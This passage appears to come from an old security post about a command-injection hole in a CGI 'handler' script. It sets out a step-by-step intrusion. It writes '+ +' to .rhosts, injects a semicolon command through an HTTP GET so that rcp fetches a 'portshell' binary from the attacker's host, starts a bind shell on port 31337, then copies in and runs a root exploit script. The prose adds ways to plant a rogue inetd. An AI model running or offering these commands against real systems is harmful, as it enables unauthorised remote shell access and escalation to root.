And voila! - What else do you want? Any other programs to start? Just

        Keep in mind that it isn't necessary to get everything done in one
command.  A string of two or three commands might sometimes be necessary
to get things moving.  For example:
enemy% whoami
enemy% echo + + > .rhosts
enemy% nc victim.com 80
GET /cgi-bin/handler/;/usr/bsd/rcp      evil_cracker () enemy com:portshell        /tmp|?data=Download
enemy% nc victim.com 80
GET /cgi-bin/handler/;/tmp/portshell    31337|?data=Download
enemy% nc victim.com 31337
% whoami
% rcp evil_cracker () enemy com:irix_root_bug_of_the_week.sh \
./irbotw.sh ; ./irbotw.sh
[... or whatever ...]

"portshell" being a program that bound itself to a TCP port and executed a
shell upon receiving a connection.  Boom, shell access obtained under
whatever uid httpd is running as.  Or, one could even create a dummy
inetd.conf and run their own copy of inetd.  The possiblities are
virtually limitless.
